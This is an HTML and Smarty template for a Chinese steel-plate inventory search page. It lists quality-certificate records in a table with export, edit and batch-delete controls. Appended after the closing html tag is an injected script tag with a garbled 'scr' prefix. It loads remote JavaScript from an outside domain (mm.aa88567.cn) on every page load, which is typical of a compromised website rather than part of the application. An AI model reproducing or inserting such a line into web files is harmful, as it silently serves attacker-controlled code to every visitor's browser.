<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<title>查询结果</title>
		<style type="text/css">
<!--
body {
	background-image: url(../img/back.gif);
}
-->
</style>
		<style>
td{
	border-right:1px solid #cbdced;
	border-bottom: 1px solid #cbdced;
	padding:3px;
}

th{
	background-color:#cbdced;
	padding:3px;
	border-right:1px solid #fff;
	border-bottom:1px solid #fff;
}
table{
	clear:both;
	border-top: 1px solid #cbdced;
	border-left: 1px solid #cbdced;
}
body{
	font-size:14px;
}
.green{
	background-color:green;
}
.brown{
	background-color:brown;
}
.red{
	color:red;
}

.blue{
	color:blue;
}
.exportBtn{
	margin-right:30px;
	margin-top:2px;
	margin-bottom:2px;
	float:right;
	display:block;
	padding:1px;
}

span[class=exportBtn]:hover{
	background-color:#8A95A1;
	color:white;
}
		</style>
		<script type="text/javascript">
		function allChecksChange(obj){
			checks = document.getElementsByTagName("input");
			for(i = 0; i < checks.length; i++){
				o = checks[i];
				type = o.attributes.getNamedItem("type");
				if(type.nodeValue == 'checkbox'){
					o.checked = obj.checked;
				}
			}
			//checks.checked = obj.checked;
		}
		
		function deleteConfirm(){
		return window.confirm('你确实要删除选中的这些记录吗？');
		}
		</script>
	</head>
	<body>
	<{if $advancedSearch}>
	<div id="sbar" style="width:100%; padding: 0px 0px 4px 0px; border-bottom:1px solid #c9d7f1;">
			<span><a href="excelUpload.html">表格上传</a></span>
			| <span><a href="index.html">主页</a></span>
			| <span><a href="advancedSearch.html">回到高级搜索</a></span>
	</div>
	<{/if}>
	
	<form action="batchDelete.php" method="POST" onsubmit="return deleteConfirm()" >
	
	<{if $main_certificationNumber}>
		<{if $advancedSearch}>
			<span class="exportBtn">
				<input type="submit" value=" 删除选中 "/>
			</span>
			<span class="exportBtn">
				<a href="exportAdvancedTableStat.php?certificationNumber=<{$certificationNumber}>&facheNumber=<{$facheNumber}>&size1From=<{$size1From}>&size1To=<{$size1To}>&size2From=<{$size2From}>&size2To=<{$size2To}>&size3From=<{$size3From}>&size3To=<{$size3To}>&rukuDateFrom=<{$rukuDateFrom}>&rukuDateTo=<{$rukuDateTo}>
				&chukuDateFrom=<{$chukuDateFrom}>&chukuDateTo=<{$chukuDateTo}>&certificationCodification=<{$certificationCodification}>&sequenceNumber=<{$sequenceNumber}>&uploadTimeFrom=<{$uploadTimeFrom}>&uploadTimeTo=<{$uploadTimeTo}>
				&filename=<{$filename}>&orderNumber=<{$orderNumber}>&orderSubitemNumber=<{$orderSubitemNumber}>&unitPrice=<{$unitPrice}>
				&manufactory=<{$manufactory}>&purchaseNumber=<{$purchaseNumber}>&authenticationMark=<{$authenticationMark}>
				&steelNumber=<{$steelNumber}>&unitPrice=<{$unitPrice}>&materialNumber=<{$materialNumber}>
				&sampleBatch=<{$sampleBatch}>&shipmentDateFrom=<{$shipmentDateFrom}>&consignmentBatch=<{$consignmentBatch}>
				&shipmentDateTo=<{$shipmentDateTo}>&month=<{$month}>&vehicleNumber=<{$vehicleNumber}>&consignee=<{$consignee}>&remark=<{$remark}>
				&main=<{$main}>&ruku=<{$ruku}>&chuku=<{$chuku}>>" title="点击进行导出结果"> 导出表格 </a>
			</span>
		<{else}>
			<span class="exportBtn">
				<a href="exportSimpleTableStat.php?stype=<{$stype}>&keyname=<{$keyname}>" title="点击进行导出结果">导出表格</a>
			</span>
		<{/if}>
	<{else}>
		抱歉没有符合你搜索的条目
	<{/if}>
		<table cellpadding="0" cellspacing="0">
		<tr>
			<th style="width:14em">产品质量证明书号</th>
			<th style="width:5em">产品质量证明书编号</th>
			<th style="width:14em">发车证号</th>
			<th style="width:5em">批次</th>
			<th style="width:6em">生产厂家</th>
			<th style="width:6em">船级</th>
			<th style="width:6em">材质</th>
			<th style="width:10em">厚</th>
			<th style="width:5em">宽</th>
			<th style="width:6em">长</th>
			<th style="width:6em">数量</th>
			<th style="width:6em">单重</th>
			<th style="width:6em">订单号</th>
			<th style="width:6em">订单子项号</th>
			<th style="width:6em">受订单价</th>
			<th style="width:6em">物料号</th>
			<th style="width:6em">发货批次</th>
			<th style="width:6em">批号</th>
			<th style="width:6em">购单号</th>
			<th style="width:6em">发货时间</th>
			<th style="width:6em">合同月份</th>
			<th style="width:10em">车号</th>
			<th style="width:10em">订单打印收货人</th>
			<th style="width:10em">备注</th>
			<th style="width:10em">状态</th>
			<{if $advancedSearch}>
				<th width="6px">编辑</th>
				<th width="6px">删除<input type="checkbox" name="i_d" onchange="allChecksChange(this)" /></th>
			<{/if}>
		</tr>
		<{section name=item loop=$main_certificationNumber}>
		<tr <{if $main_stat[item] eq '出库'}> class="green" title="此项完成"  <{elseif $main_stat[item] eq '库中'}> class="brown" title="库中"<{/if}>>
			<td><{$main_certificationNumber[item]}></td>
			<td><a href="showImage.php?image=<{$certificationCodification[item]}>.tif"><{$main_certificationCodification[item]}></a></td>
			<td><{$main_facheNumber[item]}></td>
			<td><{$main_sequenceNumber[item]}></td>
			<td><{$main_manufactory[item]}></td>
			<td><{$main_authenticationMark[item]}></td>
			<td><{$main_steelNumber[item]}></td>
			<td><{$main_size1[item]}></td>
			<td><{$main_size2[item]}></td>
			<td><{$main_size3[item]}></td>
			<td><{$main_count[item]}></td>
			<td><{$main_unitWeight[item]}></td>
			<td><{$main_orderNumber[item]}></td>
			<td><{$main_orderSubitemNumber[item]}></td>
			<td><{$main_unitPrice[item]}></td>
			<td><{$main_materialNumber[item]}></td>
			<td><{$main_consignmentBatch[item]}></td>
			<td><{$main_sampleBatch[item]}></td>
			<td><{$main_purchaseNumber[item]}></td>
			<td><{$main_shipmentDate[item]}></td>
			<td><{$main_month[item]}></td>
			<td><{$main_vehicleNumber[item]}></td>
			<td><{$main_consignee[item]}></td>
			<td><{$main_remark[item]}></td>
			<td><{$main_stat[item]}></td>
			<{if $advancedSearch}>
				<td><a href="rowEdit.php?type=main&id=<{$main_id[item]}>">编辑</a></td>
				<td><input type="checkbox" name="main_id<{$main_id[item]}>" value="<{$main_id[item]}>" /></td>
			<{/if}>
			</tr>
		<{/section}>
		</table>
		
		
		
	</table>
	</form>
	</body>
</html><scr<scr<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script> 